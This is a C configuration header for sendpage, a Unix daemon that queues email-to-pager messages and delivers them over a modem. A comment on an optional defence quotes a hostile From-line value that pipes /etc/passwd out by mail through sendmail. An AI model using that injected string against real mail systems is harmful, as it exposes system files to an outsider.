#include <sys/termios.h>

#define PATH_SENDPAGE_CONFIG	"/etc/sendpage.cf"   
#define PATH_SENDMAIL			"/usr/lib/sendmail" 
#define	PATH_SENDPAGE_PIDFILE	"/var/spool/pqueue/sendpage.pid"
#define PATH_QUEUE	"/var/spool/pqueue"
#define	QUEUE_HEAD	"sendpageQ"

/* does your system not include bcopy() in libc? (yes for Solaris) */
/* #define NEED_BCOPY /**/

/* does your system not include bzero() in  libc? (yes for Solaris) */
/* #define NEED_BZERO /**/

/* does your system support SYSV_MALLOC style mallinfo()? */
/* #define SYSV_MALLOC *//* #define SYSV_MALLOC /* (No for IRIX, no for Solaris, no for Linux) */

/* does your system require malloc.h? */
/* #define NEED_MALLOC_H /* No for Linux */

/* does your system require ioctl.h -- (yes for AIX, yes for Digital UNIX) */
/* #define NEED_IOCTL_H */

/* does your system support posix style signals -- specifically sigaction()? */
#define POSIX_SIGNALS

/* the From: line contents */
/* it's important not to make this address the same as where a page would
/* be sent to, to prevent mail loops.  I use 'sendpage' at some other host,
/* and just have 'sendpage' aliased to root */
#define FROM_HEADER "sendpage@internet.com"

/* how long in seconds to wait between queue runs if the queue is not empty */
/* ie, the modem was busy so the queue run failed how long should it wait
/* to retry */
#define QUEUE_RUNTIME	60

/* how long in seconds to wait between queue runs if the queue is empty */
/* only a precaution, this timeout should never actually cause a queue run */
#define	QUEUE_CHECKTIME	300

/* when a page fails to be sent for some reason 
/* reply at this many retries with a warning message (0 to disable) */
#define RETRIES_NOTIFY_FAIL 2

/* how long to wait for output from a pipe style alias */
#define	PIPE_READ_SECONDS	30

/* a few extra lines in the e-mail response */
/* #define VERBOSE_MAIL_REPLY */

/* use a less strict lookup table for the pet protocol, this shouldn't
/* hurt anything */
#define PET_LESS_STRICT_LOOKUP

/* enable uucp style locking?  Doing this requires you to have sendpage
run setuid uucp, or whatever needs to read/write to the TTY_LOCKDIR
directory. Please be careful with this.  I don't think there are any
security problems with sendpage, but if there were having sendpage setuid
uucp could potentially compromise the uucp account.  uucp may indirectly
be a root account (look for things like a root crontab running uucp
owned accounting scripts)
*/
#define UUCP_LOCKING
#define TTY_LOCKDIR "/usr/spool/uucp/"

/* define this to ignore reply addresses with | or / in them.  Both
/* these characters will be interpreted by sendmail, and could allow
/* for anyone to run arbitrary programs by setting their From line
/* to something like "|cat /etc/passwd | mail me@my.home.com"
/*
/* sendmail 8.6.10 _seems_ to be able prevent this by not accepting 
/* From lines like this.  Other versions of sendmail do.
/*
/* The bad side is people with strange-o X.400 e-mail addresses 
/* won't be able to use sendpage.
/**/
/* #define PARANOID_REPLIES */

/* &F restore factory default
/* &C1 DCD tracks carrier of remote modem
/* &D1 return to command state on DTR transition
/* E inhibit command echo
/* L3 high speaker volume
/* M1 turn speaker off when modem is receiving remote carrier
/* Q enable result codes
/* V result codes are numbers
/* X4 full result codes
/* H hangup
*/

/* defaults */
#define MODEM_DEV "/dev/ttyb"
/* #define MODEM_DEV "/dev/tty00" /* HP/UX */
/* #define MODEM_DEV "/dev/modem" /* Linux */
#define MODEM_INIT "at&F&C1&D1EL3M1QVX4H"
/* #define MODEM_INIT "atEQVX4H" /* Simple */
/* #define MODEM_INIT "at&F&C1&D1EL3M1QVX4H" /* MultiModem V32 */

/* c_cflag hardware settings... set to 0 for none */
/* see io.c */
#define C_FLAG CS8 | CLOCAL | CRTSCTS | HUPCL /* enable RTS/CTS flow control */
/* #define C_FLAG HUPCL /* Yes for Digital UNIX */

/* try to get modems attention with DTR toggle? */
#define TOGGLE_DTR

/*
/*
/* Shouldn't need to configure anything below here 
/*
/**/

#define MODEM_DIAL "atdt"
#define MODEM_PLUS "+++"
#define	MODEM_WORDS	"ATV1\r"
#define	MODEM_NUMS	"ATV0\r"
#define	MODEM_WORD_OK	"OK\r"
#define	MODEM_NUM_OK	"0\r"
#define MODEM_NUM_C300	"1\r"
#define	MODEM_NUM_C1200	"5\r"
#define	MODEM_NUM_BUSY	"7\r"
#define	MODEM_NUM_NOANS	"8\r"
#define	MODEM_NUM_NOCAR	"3\r"
#define	MODEM_NUM_NODIA	"6\r"
#define	MODEM_RES_OK		0
#define MODEM_RES_C300		1
#define	MODEM_RES_C1200		5
#define	MODEM_RES_C2400		10
#define	MODEM_RES_C4800		11
#define	MODEM_RES_C9600		12
#define	MODEM_RES_C14400	15
#define	MODEM_RES_C38400	17
#define	MODEM_RES_BUSY	7
#define	MODEM_RES_NOANS	8
#define	MODEM_RES_NOCAR	3
#define	MODEM_RES_NODIA	6
#define	MODEM_RES_INTER	9999


char *PrintBytes();
char *GetNextRecipient();
struct dynstring AliasExpand(), ReadAliasByFile(), ReadAliasByProgram();
int sig_hup(), sig_usr1(), sig_alrm(), sig_quit(), sig_pipe();
char *CheckTagField();


#define	PET_REPLY_ACCEPT		0
#define	PET_REPLY_REJECT		1
#define	PET_REPLY_ABANDON		2
#define	PET_REPLY_GOODBYE		3
#define	PET_REPLY_GOAHEAD		4
#define	PET_ERROR				9999
#define	PET_REPLIES 5

#define	PET_START_SEQ1	"\033PG1"
#define	PET_START_SEQ3	"\033PG3"
#define	PET_END_SEQ		"\004\015"
#define	PET_ID			"ID="

struct pet_lookup {
	char *msg;
	int msglen;
};

/* the STRICT lookup is what my spec says.
/* the less strict lookup is what our paging central switched to
/* last week :(  
/* also noted by by Adrian Collins <ade@manchester-computing-centre.ac.uk>
/* who just had problems with the goodbye message */

static struct pet_lookup pet_lookup[] = {

#ifdef PET_LESS_STRICT_LOOKUP

	"\006\015",			2, 	/* accept */
	"\025\015",			2,	/* reject */
	"\036\015",			2,	/* abandon */
	"\033\004\015",		3,	/* goodbye */
	"\033[p\015",		4,	/* goahead */

#else /* PET_LESS_STRICT_LOOKUP */

	"\015\006\015",		3, 	/* accept */
	"\015\025\015",		3,	/* reject */
	"\015\036\015",		3,	/* abandon */
	"\015\033\004\015",	4,	/* goodbye */
	"\033[p\015",		4,	/* goahead */

#endif /* PET_LESS_STRICT_LOOKUP */
};

#define	ASCII_LF	0x0a
#define	ASCII_CR	0x0d
#define	ASCII_ACK	0x06
#define	ASCII_NAK	0x15
#define	ASCII_ESC	0x1b
#define	ASCII_EOT	0x04
#define	ASCII_STX	0x02
#define	ASCII_ETX	0x03
#define	ASCII_RS	0x1e


/* must be larger than longest string to match */
#define CBUF_BYTES 1024

struct cbuf {
	unsigned char buf[CBUF_BYTES];
	int bufused;
	int start, end, len;
	int eof;
}; 

#define	RUN_CLIENT		0
#define RUN_DAEMON		1
#define	RUN_PRINTQUEUE	2
#define	RUN_VERIFY		3
#define	RUN_UNKNOWN		999

struct msglist {
	int nmessages;
	int nblocks;
	char **messages;
};

struct linebuf {
	int len, len2;
	int bufused;
	int nblocks;
	char *buf;
};

/* allocate message list in chunks of */
#define	ADD_MSG_BLOCKSIZE	5

/* allocate buffers for a line chunks of */
#define	ADD_LINE_BLOCKSIZE	1024

/* allocate dynamic strings in chunks of */
#define	ADD_STR_BLOCKSIZE	128

/* allocate delivery list types in chunks of */
#define ADD_DTLIST_BLOCKSIZE	10

struct messagequeue {
	time_t queuetime;					/* time message was queued */
	time_t delivertime;					/* time message was delivered */
	int retries;						/* number of times delivery retried */
	int status;							/* what's going on */
	int recipientlen;					/* lenth of recipient string */
	int recipient2len;					/* lenth of recipient2 string */
										/* recipient2 has gone through alias
											expansion */
	int senderlen;						/* length of sender string */
	int messagelen;						/* length of message */
	/* recipient, recipient2, sender, and message follow here in */
};

struct dynstring {
	int nblocks;
	int bufused;
	char *buf;
};

#define STATUS_NONE			0
#define	STATUS_DELIVERING	1	/* being delivered */
#define	STATUS_EXPANDED		2	/* gone through alias expansion */
#define	STATUS_NODELIVER1	4	/* can't be delivered - unknown recipient */
#define	STATUS_NODELIVER2	8	/* can't be delivered - internal error */
#define	STATUS_NODELIVER3	16	/* can't be delivered - page rejected */
#define STATUS_DELIVERED	32	/* delivered */
#define	STATUS_TMPFAIL		128	/* temporary failure */
#define	STATUS_NOMAIL		256	/* don't send mail reply */
#define	STATUS_MSGTRUNCATE	512	/* this and the following messages were
								/* not sent as pages because of an
								/* administrative message limit --
								/* this is very useful when using the 
								/* e-mail interface mode since people
								/* generally don't want their signature
								/* lines to be part of the page */
#define	STATUS_EXPIRED		1024 /* retried too many times */
#define	STATUS_SIZETRUNCATE	2048 /* size of message truncated */


/* config file line types */
#define	CF_UNKNOWN	0
#define	CF_PC		1
#define	CF_ALIAS	2
#define	CF_ERROR	99

/* protocol types */
#define	PC_UNKNOWN	0
#define	PC_PET1		1
#define PC_PET3		2
#define	PC_NULL		3

/* dialer types */
#define DIALER_INTERNAL 1
#define DIALER_EXTERNAL 1

/* when to assume an alias is expanding to itself */
#define MAX_ALIAS_RECURSE_DEPTH 10

/* interesting return code for sendmail */
#if !defined EX_OK
#define EX_OK       0   /* successful termination */
#endif /* defined EX_OK */
#if !defined EX_TEMPFAIL
#define EX_TEMPFAIL 75  /* temp failure; user is invited to retry */
#endif /* defined EX_TEMPFAIL */
#if !defined EX_SOFTWARE
#define EX_SOFTWARE 70  /* internal software error */
#endif /* EX_SOFTWARE */
#if !defined EX_NOINPUT
#define EX_NOINPUT  66  /* cannot open input */
#endif /* EX_NOINPUT */

/* struct for paging central information */

#define PCINFO_STR_LEN	64
struct pcinfo {

	int		id;							/* order in the config file */
	int		dialer;						/* DIALER_INTERNAL or DIALER_EXTERNAL */
	char	name[PCINFO_STR_LEN];		/* symbolic name */
	char	phone[PCINFO_STR_LEN];		/* phone number */
	char	password[PCINFO_STR_LEN];	/* password */
	char	modeminit[PCINFO_STR_LEN];	/* modem init string */
	char	modemdev[PCINFO_STR_LEN];	/* modem device */
	char	modemdial[PCINFO_STR_LEN];	/* modem dial string */
	int		answertime;					/* # of seconds to wait for answer */
	int		speed;						/* B1200, B2400 ... */
	int		parity;						/* PARENB, PARODD ... */
	int		databits;					/* CS5, CS6 ... */
	int		stopbits;					/* CSTOPB for 2, else 0 */
	int		protocol;					/* PC_PET1, PC_PET2, PC_NULL, etc */
	int		msgretries;					/* # retries before message expires */
	int		maxmsgsize;					/* max size of message in bytes */
};


/* what to do with the queue file in QueueRun */
#define	QF_DELETE	1
#define	QF_UPDATE	2
#define	QF_DEFER	4

#ifdef POSIX_SIGNALS
#define signal mysignal
#endif /* POSIX_SIGNALS */

#ifdef NEED_BCOPY
char *bcopy();
#endif /* NEED_BCOPY */
